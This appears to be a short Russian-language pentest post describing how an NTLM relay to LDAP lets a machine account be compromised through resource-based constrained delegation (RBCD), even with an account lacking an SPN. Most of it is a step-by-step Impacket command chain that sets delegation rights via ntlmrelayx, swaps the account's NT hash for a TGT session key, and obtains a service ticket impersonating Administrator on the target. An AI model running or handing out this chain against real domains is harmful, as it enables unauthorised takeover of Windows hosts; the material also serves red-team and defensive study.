При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать.
Основная причина заключается в том что, машинная уз может сама себе устаналивать параметр msDS-AllowedToActOnBehalfOfOtherIdentity - фактически указывать SPN/UPN произвольной УЗ. Дальнейшее использование этой УЗ позволит скомпоометировать машину (классический RBCD).
Интересно то, что для эксплуатации можно использовать как вспомогательную машинную УЗ или, при maq=0, УЗ пользователя.
Снизу представлен "POC" для эксплуатации NoSPN RBCD через Relay
#Check RBCD (Empty)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'
# To set RBCD
ntlmrelayx.py -t ldap://'DC_IP' --delegate-access --escalate-user 'controlledaccountwithoutSPN'
#Check RBCD (With SID of controlledaccountwithoutSPN)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'

